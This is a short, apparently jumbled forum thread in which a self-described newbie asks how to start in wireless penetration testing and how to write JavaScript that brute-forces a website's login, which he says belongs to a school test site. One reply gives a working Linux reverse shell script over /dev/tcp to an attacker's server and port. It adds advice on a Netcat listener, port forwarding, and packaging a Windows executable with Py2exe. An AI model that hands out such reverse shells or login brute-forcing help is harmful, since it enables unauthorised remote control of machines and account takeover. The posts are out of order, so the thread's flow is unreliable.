Okay thanks everyone. I appreciate your help. I'm new to learning about wireless networks in general, so I'll learn about it some more and then I'll have a look at WLAN security megaprimer.

I'm a newbie, I want to begin learning wireless security/penetration testing for wireless networks
and I'm wondering where to begin, so please help. Thanks.

This shell script will send a reverse shell if its run on Linux:

#!/bin/sh
exec 5<>/dev/tcp/$server/$port
cat <&5 | while read line; do $line 2>&5 >&5; done

You'll have to setup a Netcat listener. And if you're behind a router you'll have to setup port forwarding. Otherwise you can write your own in Python, and convert it to a Windows executable with Py2exe. 

Okay thanks.

Its a test site for my school. So would a script like this have to be website-specific?

Okay, I'm wondering how I can write a Javascript code which brute forces the username and password of a website. I can code in Javascript well, but I don't know how I can get JS to try
logging into a website, seeing if its login attempts are successful, etc. So I want to have the JS source file on my hard drive so I can open it with a web browser to brute force the login of a
website. So where do I begin? Any helpful functions/modules for this? Can anyone help? Please help. You'll help? Great, thank you.
